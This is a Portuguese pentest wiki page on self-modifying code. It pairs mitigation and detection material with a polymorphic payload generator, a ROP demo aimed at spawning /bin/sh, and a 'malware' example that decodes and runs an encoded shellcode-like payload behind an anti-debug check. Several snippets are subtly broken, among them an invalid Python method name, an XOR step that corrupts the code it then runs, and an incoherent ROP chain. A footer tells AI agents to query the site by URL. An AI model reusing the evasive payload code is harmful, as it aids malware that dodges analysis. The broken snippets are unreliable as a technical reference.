# Self Modifying Code

### **📋 Índice**

1. Fundamentos do Self-Modifying Code
2. Arquitetura de Memória e Execução
3. Mecanismos de Implementação
4. Técnicas Avançadas
5. Aplicações Legítimas
6. Uso em Malware e Exploração
7. Técnicas de Análise e Detecção
8. Ferramentas de Análise
9. Impacto e Consequências
10. Prevenção e Mitigações
11. Checklists de Segurança

***

### 🔍 **Fundamentos do Self-Modifying Code**

#### **O que é Self-Modifying Code?**

**Self-Modifying Code** é código que modifica suas próprias instruções durante a execução. Esta técnica, comum nos primórdios da computação (quando memória era escassa), é hoje usada principalmente em malware, obfuscação, proteção de software e exploits avançados.

#### **Princípio de Funcionamento**

```mermaid
graph TD
    subgraph "Código Original"
        A[Instrução 1] --> B[Instrução 2]
        B --> C[Instrução 3]
    end
    
    subgraph "Self-Modification"
        D[Instrução 1] --> E[Modifica Instrução 2]
        E --> F[Instrução 2 Modificada]
        F --> G[Instrução 3]
    end
    
    subgraph "Execução"
        H[Desvio para código modificado] --> I[Comportamento diferente]
        I --> J[Difícil de analisar estaticamente]
    end
    
    style E fill:#ffcc99
    style F fill:#ff9999
```

#### **Exemplo Básico**

```c
// self_modifying_basic.c - Exemplo básico de código auto-modificável

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

// Função que será modificada em tempo de execução
void target_function() {
    // Esta instrução será modificada
    __asm__ volatile(
        "mov $0x12345678, %rax\n"  // Será sobrescrito
        "ret\n"
    );
}

// Função que modifica código
void modify_code(void *addr, unsigned char new_byte) {
    // Mudar proteção da página para permitir escrita
    size_t page_size = sysconf(_SC_PAGESIZE);
    uintptr_t page_start = (uintptr_t)addr & ~(page_size - 1);
    
    mprotect((void *)page_start, page_size, PROT_READ | PROT_WRITE | PROT_EXEC);
    
    // Modificar o byte na posição específica
    unsigned char *code = (unsigned char *)addr;
    code[2] = new_byte;  // Modifica o immediate da instrução mov
    
    // Restaurar proteção
    mprotect((void *)page_start, page_size, PROT_READ | PROT_EXEC);
}

int main() {
    printf("[*] Endereço da função alvo: %p\n", target_function);
    
    // Executar função original
    printf("[*] Executando função original...\n");
    target_function();
    
    // Modificar código
    printf("[*] Modificando código...\n");
    modify_code(target_function, 0x42);
    
    // Executar função modificada
    printf("[*] Executando função modificada...\n");
    target_function();
    
    return 0;
}
```

***

### 🏗️ **Arquitetura de Memória e Execução**

#### **Proteções de Memória**

```python
#!/usr/bin/env python3
# memory_protections.py - Proteções de memória

class MemoryProtections:
    """Análise das proteções de memória"""
    
    @staticmethod
    def page_protections():
        """Proteções de página"""
        print("🛡️ Proteções de Página (mprotect)")
        print("=" * 60)
        
        protections = {
            "PROT_NONE": "Sem acesso (acesso causa segfault)",
            "PROT_READ": "Leitura permitida",
            "PROT_WRITE": "Escrita permitida",
            "PROT_EXEC": "Execução permitida"
        }
        
        for prot, desc in protections.items():
            print(f"   • {prot}: {desc}")
        
        print("\nCombinações comuns:")
        print("   • PROT_READ | PROT_EXEC: .text (código)")
        print("   • PROT_READ | PROT_WRITE: .data (dados)")
        print("   • PROT_READ | PROT_WRITE | PROT_EXEC: RWX (inseguro!)")
    
    @staticmethod
    def w^x_policy():
        """Política W^X (Write XOR Execute)"""
        print("\n🔒 Política W^X (Write XOR Execute)")
        print("=" * 60)
        
        print("""
W^X: Uma página não pode ser simultaneamente writable e executable.

Implementação:
  • Páginas de código são marcadas RX (Read-Execute)
  • Páginas de dados são RW (Read-Write)
  • Para modificar código, deve-se:
    1. Mudar proteção para RW (temporariamente)
    2. Modificar código
    3. Mudar proteção para RX

Bypass:
  • mprotect() para adicionar flag WRITE
  • Técnicas de Return-Oriented Programming (ROP)
  • JIT spray
""")
    
    @staticmethod
    def nx_bit():
        """NX Bit (No-eXecute)"""
        print("\n🔒 NX Bit (No-eXecute)")
        print("=" * 60)
        
        print("""
NX Bit previne execução de código em páginas de dados.

Funcionamento:
  • Stack: NX (não executável)
  • Heap: NX (não executável)
  • .text: Executável

Bypass:
  • Return-to-libc
  • ROP (Return-Oriented Programming)
  • JOP (Jump-Oriented Programming)
""")

# Executar
MemoryProtections.page_protections()
MemoryProtections.w^x_policy()
MemoryProtections.nx_bit()
```

#### **Estrutura do Código em Memória**

```c
// memory_layout.c - Layout de memória do código

#include <stdio.h>

// Código na seção .text (RX)
void normal_function() {
    printf("Normal function\n");
}

// Dados na seção .data (RW)
int global_var = 42;

// Código que se auto-modifica
void self_modifying_demo() {
    // O código está na seção .text
    // Para modificar, precisa de permissão de escrita
    
    #ifdef __x86_64__
    unsigned char *code = (unsigned char *)self_modifying_demo;
    
    // Verificar proteções atuais
    printf("Endereço do código: %p\n", code);
    printf("Código (primeiros bytes): %02x %02x %02x\n", 
           code[0], code[1], code[2]);
    
    // Em um cenário real, usaria mprotect para adicionar PROT_WRITE
    #endif
}

int main() {
    printf("Layout de Memória:\n");
    printf("  .text (código): %p\n", normal_function);
    printf("  .data (dados): %p\n", &global_var);
    printf("  stack: %p\n", &global_var);
    printf("  heap: %p\n", malloc(1));
    
    return 0;
}
```

***

### ⚙️ **Mecanismos de Implementação**

#### **Técnicas de Auto-Modificação**

```c
// self_modifying_techniques.c - Técnicas de implementação

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// 1. Modificação de instrução específica
void modify_instruction(void *addr, int offset, unsigned char new_value) {
    size_t page_size = sysconf(_SC_PAGESIZE);
    uintptr_t page_start = (uintptr_t)addr & ~(page_size - 1);
    
    // Tornar página writable
    mprotect((void *)page_start, page_size, PROT_READ | PROT_WRITE | PROT_EXEC);
    
    // Modificar byte
    unsigned char *code = (unsigned char *)addr;
    unsigned char old = code[offset];
    code[offset] = new_value;
    
    printf("  Modificado byte 0x%02x -> 0x%02x\n", old, new_value);
    
    // Restaurar proteção
    mprotect((void *)page_start, page_size, PROT_READ | PROT_EXEC);
    
    // Flush cache de instruções (importante em algumas arquiteturas)
    __builtin___clear_cache((char *)addr, (char *)addr + 16);
}

// 2. Substituição de função inteira
void function_template() {
    __asm__ volatile(
        "nop\n"
        "nop\n"
        "nop\n"
        "ret\n"
    );
}

void* allocate_executable_page() {
    size_t page_size = sysconf(_SC_PAGESIZE);
    void *mem = mmap(NULL, page_size, 
                     PROT_READ | PROT_WRITE | PROT_EXEC,
                     MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    return mem;
}

// 3. Hot-patching (substituição dinâmica)
typedef void (*func_ptr)(void);

func_ptr original_function = NULL;
func_ptr patched_function = NULL;

void original() {
    printf("Original function\n");
}

void patched() {
    printf("PATCHED function\n");
}

void hot_patch() {
    // Salvar bytes originais do prólogo da função
    unsigned char original_prologue[5];
    memcpy(original_prologue, original, 5);
    
    // JMP para função patched (x86: JMP rel32)
    unsigned char jmp_instruction[] = {
        0xE9,  // JMP opcode
        0x00, 0x00, 0x00, 0x00  // offset relativo
    };
    
    // Calcular offset
    ptrdiff_t offset = (char *)patched - ((char *)original + 5);
    memcpy(jmp_instruction + 1, &offset, 4);
    
    // Aplicar patch
    modify_instruction(original, 0, jmp_instruction[0]);
    modify_instruction(original, 1, jmp_instruction[1]);
    modify_instruction(original, 2, jmp_instruction[2]);
    modify_instruction(original, 3, jmp_instruction[3]);
    modify_instruction(original, 4, jmp_instruction[4]);
}

// 4. Auto-modificação com XOR (ofuscação)
void xor_obfuscated() {
    unsigned char code[] = {
        0x48, 0xC7, 0xC0, 0x2A, 0x00, 0x00, 0x00,  // mov rax, 0x2a
        0xC3                                          // ret
    };
    
    // Decodificar com XOR
    unsigned char key = 0xAA;
    for (int i = 0; i < sizeof(code); i++) {
        code[i] ^= key;
    }
    
    // Executar código decodificado
    void (*func)(void) = (void (*)(void))code;
    func();
}

// 5. JIT (Just-In-Time) Compilation
void jit_compile() {
    void *exec_mem = allocate_executable_page();
    
    // Código simples: mov rax, 0x42; ret
    unsigned char machine_code[] = {
        0x48, 0xC7, 0xC0, 0x42, 0x00, 0x00, 0x00,  // mov rax, 0x42
        0xC3                                         // ret
    };
    
    // Copiar código para memória executável
    memcpy(exec_mem, machine_code, sizeof(machine_code));
    
    // Executar
    int (*func)(void) = (int (*)(void))exec_mem;
    int result = func();
    printf("JIT result: %d\n", result);
    
    // Limpar
    munmap(exec_mem, sysconf(_SC_PAGESIZE));
}
```

#### **Assembly de Auto-Modificação**

```assembly
; self_modifying.asm - Auto-modificação em assembly x86_64

section .text
    global _start

_start:
    ; Código que se auto-modifica
    mov rax, 0x12345678    ; Valor original
    ; Esta instrução será modificada
    
    ; Modificar o immediate do mov
    mov byte [rax_instruction + 2], 0x42
    
rax_instruction:
    mov rax, 0x12345678    ; Posição que será modificada
    ; Após modificação: mov rax, 0x42
    
    ; Imprimir resultado (syscall write)
    mov rdi, 1
    lea rsi, [msg]
    mov rdx, msg_len
    mov rax, 1
    syscall
    
    ; Exit
    mov rax, 60
    xor rdi, rdi
    syscall

section .data
    msg db 'Self-modifying code executed!', 0xa
    msg_len equ $ - msg
```

***

### 🔧 **Técnicas Avançadas**

#### **Polimorfismo e Metamorfismo**

```python
#!/usr/bin/env python3
# polymorphic_code.py - Código polimórfico

import random
import struct

class PolymorphicCode:
    """Gerador de código polimórfico"""
    
    @staticmethod
    def generate_decryptor(encryption_key):
        """Gerar decryptor polimórfico"""
        print(f"[*] Gerando decryptor com chave {encryption_key}")
        
        # Variações de decryptor
        decryptors = [
            # Versão 1: XOR loop
            f"""
            xor rcx, rcx
            mov rcx, len
            lea rsi, [encrypted]
            mov al, {encryption_key}
            decrypt_loop:
                xor byte [rsi], al
                inc rsi
                loop decrypt_loop
                jmp encrypted
            """,
            
            # Versão 2: ADD/SUB
            f"""
            mov rsi, encrypted
            mov rcx, len
            mov bl, {encryption_key}
            decrypt_loop:
                sub byte [rsi], bl
                inc rsi
                loop decrypt_loop
                jmp encrypted
            """,
            
            # Versão 3: NOT
            f"""
            mov rsi, encrypted
            mov rcx, len
            decrypt_loop:
                not byte [rsi]
                inc rsi
                loop decrypt_loop
                jmp encrypted
            """
        ]
        
        return random.choice(decryptors)
    
    @staticmethod
    def mutate_code(original_code):
        """Mutação de código (metamorfismo)"""
        print("[*] Mutando código")
        
        mutations = [
            # Adicionar NOPs
            lambda code: code.replace("mov", "nop\nmov"),
            
            # Trocar registradores
            lambda code: code.replace("rax", "rbx").replace("rbx", "rax"),
            
            # Reordenar instruções
            lambda code: code,
            
            # Adicionar instruções inúteis
            lambda code: code + "\npush rax\npop rax",
            
            # Trocar instruções equivalentes
            lambda code: code.replace("xor rax, rax", "mov rax, 0")
        ]
        
        mutated = random.choice(mutations)(original_code)
        return mutated
    
    @staticmethod
    def create_polymorphic_payload(payload, iterations=10):
        """Criar payload polimórfico com múltiplas iterações"""
        print(f"[*] Criando payload polimórfico ({iterations} iterações)")
        
        current_payload = payload
        for i in range(iterations):
            # Criptografar payload
            key = random.randint(1, 255)
            encrypted = bytes([b ^ key for b in current_payload])
            
            # Gerar decryptor
            decryptor = PolymorphicCode.generate_decryptor(key)
            
            # Mutar decryptor
            decryptor = PolymorphicCode.mutate_code(decryptor)
            
            # Combinar
            current_payload = decryptor.encode() + encrypted
            
        return current_payload

# Uso
if __name__ == "__main__":
    payload = b"\x48\x31\xc0\xb0\x3c\x31\xff\x0f\x05"  # exit(0)
    polymorphic = PolymorphicCode.create_polymorphic_payload(payload, 5)
    print(f"Payload polimórfico: {len(polymorphic)} bytes")
```

#### **Return-Oriented Programming (ROP) com Auto-Modificação**

```c
// rop_self_modifying.c - ROP com auto-modificação

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Gadgets ROP que serão modificados
unsigned char gadgets[] = {
    // pop rdi; ret
    0x5f,  // pop rdi
    0xc3,  // ret
    
    // pop rsi; ret
    0x5e,  // pop rsi
    0xc3,  // ret
    
    // mov rax, 0x3b; syscall (execve)
    0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00,  // mov rax, 0x3b
    0x0f, 0x05                                 // syscall
};

// Função que modifica gadgets para criar ROP chain
void create_rop_chain(unsigned char *rop_chain, size_t chain_size) {
    size_t page_size = sysconf(_SC_PAGESIZE);
    uintptr_t page_start = (uintptr_t)gadgets & ~(page_size - 1);
    
    // Permitir modificação
    mprotect((void *)page_start, page_size, PROT_READ | PROT_WRITE | PROT_EXEC);
    
    // Copiar ROP chain para os gadgets
    memcpy(gadgets, rop_chain, chain_size);
    
    // Restaurar proteção
    mprotect((void *)page_start, page_size, PROT_READ | PROT_EXEC);
}

int main() {
    // ROP chain para execve("/bin/sh", NULL, NULL)
    unsigned char rop_chain[] = {
        // pop rdi; ret
        0x5f, 0xc3,
        // endereço de "/bin/sh"
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        // pop rsi; ret
        0x5e, 0xc3,
        // NULL
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        // execve syscall
        0x48, 0xc7, 0xc0, 0x3b, 0x00, 0x00, 0x00, 0x00,
        0x0f, 0x05
    };
    
    printf("[*] Criando ROP chain com auto-modificação\n");
    create_rop_chain(rop_chain, sizeof(rop_chain));
    
    // Em um exploit real, redirecionaria o fluxo para gadgets
    
    return 0;
}
```

***

### 🦠 **Uso em Malware e Exploração**

#### **Técnicas de Evasão**

```yaml
Técnicas de Evasão com Self-Modifying Code:

  🔴 Polimorfismo:
    - Código muda de forma a cada infecção
    - Decryptor varia, payload criptografado
    - Evita assinaturas estáticas

  🔴 Metamorfismo:
    - Código se reescreve completamente
    - Sem payload criptografado constante
    - Extremamente difícil de detectar

  🔴 Obfuscação Dinâmica:
    - Código se decodifica em tempo de execução
    - Instruções são modificadas durante execução
    - Dificulta análise estática

  🔴 Anti-Debugging:
    - Modifica código se debugger detectado
    - Executa caminho diferente
    - Esconde comportamento malicioso

  🔴 JIT Spray:
    - Aloca memória executável
    - Escreve código em tempo de execução
    - Bypassa NX/DEP
```

#### **Exemplo de Malware Auto-Modificável**

```c
// self_modifying_malware.c - Exemplo educacional

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <unistd.h>

// Payload malicioso criptografado
unsigned char encrypted_payload[] = {
    0x48, 0x83, 0xEC, 0x08, 0x48, 0x8B, 0x3D, 0x1E, 0x00, 0x00, 0x00,
    0x31, 0xC0, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x83, 0xC2, 0x08,
    0x48, 0x83, 0xEC, 0x08, 0x48, 0x8B, 0x3D, 0x06, 0x00, 0x00, 0x00,
    0x31, 0xC0, 0x50, 0x48, 0x89, 0xE2, 0x48, 0x83, 0xC2, 0x08,
    0xB0, 0x3B, 0x0F, 0x05, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68
};

// Código de decodificação polimórfico
void decode_and_execute() {
    size_t page_size = sysconf(_SC_PAGESIZE);
    uintptr_t page_start = (uintptr_t)encrypted_payload & ~(page_size - 1);
    
    // Tornar página writable
    mprotect((void *)page_start, page_size, PROT_READ | PROT_WRITE | PROT_EXEC);
    
    // Detectar ambiente de análise
    int is_debugged = 0;
    
    // Anti-debug: verificar ptrace
    if (ptrace(PTRACE_TRACEME, 0, 1, 0) == -1) {
        is_debugged = 1;
    }
    
    // Chave de decodificação variável
    unsigned char key = is_debugged ? 0xAA : 0x55;
    
    // Decodificar payload
    for (int i = 0; i < sizeof(encrypted_payload); i++) {
        encrypted_payload[i] ^= key;
    }
    
    // Executar payload
    void (*payload)(void) = (void (*)(void))encrypted_payload;
    payload();
}

int main() {
    // Verificar ambiente
    if (getenv("DEBUG") != NULL) {
        // Modificar comportamento se debug detectado
        printf("Running in debug mode - benign behavior\n");
        return 0;
    }
    
    decode_and_execute();
    return 0;
}
```

***

### 🔍 **Técnicas de Análise e Detecção**

#### **Métodos de Detecção**

```python
#!/usr/bin/env python3
# detect_self_modifying.py - Detector de código auto-modificável

import subprocess
import re
import sys

class SelfModifyingDetector:
    """Detector de código auto-modificável"""
    
    @staticmethod
    def check_mprotect_calls(binary):
        """Verificar chamadas a mprotect"""
        print("[*] Verificando chamadas a mprotect")
        
        cmd = ['objdump', '-d', binary]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        mprotect_patterns = [
            r'callq?\s+<mprotect',
            r'mprotect@plt',
            r'\xe8.*mprotect'
        ]
        
        for pattern in mprotect_patterns:
            matches = re.findall(pattern, result.stdout)
            if matches:
                print(f"   ⚠️ Chamada a mprotect detectada: {len(matches)}")
                return True
        
        print("   ✅ Nenhuma chamada a mprotect detectada")
        return False
    
    @staticmethod
    def check_rwx_pages(binary):
        """Verificar páginas RWX"""
        print("\n[*] Verificando páginas RWX")
        
        cmd = ['readelf', '-l', binary]
        result = subprocess.run(cmd, capture_output=True, text=True)
        
        rwx_pattern = r'RWX'
        if re.search(rwx_pattern, result.stdout):
            print("   ⚠️ Segmento RWX detectado!")
            return True
        
        print("   ✅ Nenhum segmento RWX detectado")
        return False
    
    @staticmethod
    def dynamic_analysis(binary, timeout=30):
        """Análise dinâmica com strace"""
        print(f"\n[*] Análise dinâmica com strace ({timeout}s)")
        
        cmd = ['strace', '-f', '-e', 'mprotect,mmap,munmap', 
               '-o', 'strace.log', binary]
        
        import subprocess
        try:
            subprocess.run(cmd, timeout=timeout)
            
            with open('strace.log', 'r') as f:
                content = f.read()
            
            mprotect_calls = content.count('mprotect')
            mmap_calls = content.count('mmap')
            
            print(f"   Chamadas mprotect: {mprotect_calls}")
            print(f"   Chamadas mmap: {mmap_calls}")
            
            if mprotect_calls > 10:
                print("   ⚠️ Muitas chamadas mprotect - possível auto-modificação")
                return True
                
        except subprocess.TimeoutExpired:
            print("   Timeout - programa pode estar em loop")
        
        return False

# Uso
if __name__ == "__main__":
    print("🔍 Self-Modifying Code Detection")
    print("=" * 60)
    
    if len(sys.argv) > 1:
        SelfModifyingDetector.check_mprotect_calls(sys.argv[1])
        SelfModifyingDetector.check_rwx_pages(sys.argv[1])
        SelfModifyingDetector.dynamic_analysis(sys.argv[1])
    else:
        print("Uso: detect_self_modifying.py <binary>")
```

#### **Análise Estática com IDA Pro**

```python
#!/usr/bin/env python3
# ida_self_modifying.py - Script IDA para detectar auto-modificação

"""
Script para IDA Pro que detecta padrões de código auto-modificável
"""

import idaapi
import idautils
import idc

def find_mprotect_calls():
    """Encontrar chamadas a mprotect"""
    mprotect_addr = idc.get_name_ea_simple("mprotect")
    if mprotect_addr == idc.BADADDR:
        print("mprotect não encontrado")
        return
    
    xrefs = idautils.XrefsTo(mprotect_addr)
    for xref in xrefs:
        print(f"Chamada a mprotect em 0x{xref.frm:x}")
        
        # Verificar argumentos
        # (análise mais profunda necessária)

def find_self_modifying_patterns():
    """Encontrar padrões de auto-modificação"""
    patterns = [
        # mov [rip + offset], reg (auto-modificação)
        (0x48, 0x89, 0x3D),  # mov [rip+disp], rdi
        (0x48, 0x89, 0x05),  # mov [rip+disp], rax
        
        # xor byte [rip+offset], imm
        (0x80, 0x35),  # xor byte [rip+disp], imm
        
        # add/sub byte [rip+offset], imm
        (0x80, 0x05),  # add byte [rip+disp], imm
        (0x80, 0x2D),  # sub byte [rip+disp], imm
    ]
    
    for start in idautils.Functions():
        func_name = idc.get_func_name(start)
        end = idc.find_func_end(start)
        
        addr = start
        while addr < end:
            for pattern in patterns:
                if idaapi.is_code(idaapi.get_flags(addr)):
                    # Verificar bytes
                    bytes = idc.get_bytes(addr, len(pattern))
                    if bytes and bytes[0] == pattern[0]:
                        print(f"Possível auto-modificação em 0x{addr:x} ({func_name})")
            addr = idc.next_head(addr, end)

def main():
    print("[*] Procurando por código auto-modificável")
    find_mprotect_calls()
    find_self_modifying_patterns()

if __name__ == "__main__":
    main()
```

***

### 🛡️ **Prevenção e Mitigações**

#### **Proteções de Hardware e Software**

```yaml
Proteções contra Self-Modifying Code:

  ✅ W^X (Write XOR Execute):
    - Páginas não podem ser writable e executable simultaneamente
    - Impede modificação direta de código executável

  ✅ Control Flow Integrity (CFI):
    - Verifica fluxo de controle do programa
    - Detecta desvios não autorizados

  ✅ Kernel Module Signing:
    - Impede carregamento de módulos não assinados
    - Evita rootkits baseados em auto-modificação

  ✅ AddressSanitizer (ASAN):
    - Detecta modificações em seções de código
    - Útil para debugging

  ✅ PaX/grsecurity:
    - Implementações avançadas de W^X
    - Proteções adicionais de kernel
```

#### **Hardening de Aplicações**

```c
// hardening_self_modifying.c - Hardening contra auto-modificação

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

// 1. Verificar integridade do código
int verify_code_integrity(void *func, unsigned char *expected_hash, size_t size) {
    unsigned char hash[32];
    
    // Calcular hash do código
    // (implementar SHA256)
    
    return memcmp(hash, expected_hash, 32) == 0;
}

// 2. Proteger seções críticas
void protect_critical_section(void *addr, size_t size) {
    size_t page_size = sysconf(_SC_PAGESIZE);
    uintptr_t page_start = (uintptr_t)addr & ~(page_size - 1);
    size_t protected_size = ((size + page_size - 1) & ~(page_size - 1));
    
    // Remover permissão de escrita
    mprotect((void *)page_start, protected_size, PROT_READ | PROT_EXEC);
}

// 3. Detectar modificações em tempo de execução
void* create_code_canary(void *code_start, size_t code_size) {
    void *canary = malloc(code_size);
    memcpy(canary, code_start, code_size);
    return canary;
}

int check_code_canary(void *code_start, void *canary, size_t code_size) {
    return memcmp(code_start, canary, code_size) == 0;
}

// 4. Atributo para seção de código readonly
__attribute__((section(".text.readonly")))
void critical_function() {
    printf("This function cannot be modified\n");
}

// 5. Compilação com hardening
// gcc -fPIE -pie -Wl,-z,relro,-z,now -o hardened hardened.c
```

***

### 📋 **Checklists de Segurança**

#### **Checklist para Desenvolvedores**

* [ ] Evitar código auto-modificável em aplicações legítimas
* [ ] Usar `mprotect` apenas quando necessário
* [ ] Compilar com `-fPIE -pie` para ASLR
* [ ] Habilitar `-Wl,-z,relro,-z,now` para RELRO total
* [ ] Usar `-D_FORTIFY_SOURCE=2` para verificações adicionais
* [ ] Implementar verificações de integridade para código crítico

#### **Checklist para Analistas de Malware**

* [ ] Verificar chamadas a `mprotect` e `VirtualProtect`
* [ ] Analisar seções RWX no binário
* [ ] Executar em sandbox com monitoramento de páginas
* [ ] Usar emuladores como Unicorn para análise dinâmica
* [ ] Verificar padrões de auto-modificação em assembly

***

### 📊 **Conclusão**

```yaml
Self-Modifying Code:

  🔴 Principais Aplicações Maliciosas:
    - Polimorfismo (muda forma a cada infecção)
    - Metamorfismo (reescreve código completamente)
    - Anti-debugging (modifica comportamento)
    - Obfuscação (dificulta análise estática)

  🛡️ Mitigações Essenciais:
    - W^X (páginas não podem ser RWX)
    - Control Flow Integrity (CFI)
    - RELRO total
    - ASLR
    - Análise dinâmica

  🎯 Prioridade de Detecção:
    - CRÍTICA: Chamadas a mprotect com RWX
    - ALTA: Seções RWX no binário
    - MÉDIA: Padrões de auto-modificação em assembly
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/linguagens-de-programacao/low-level/self-modifying-code.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
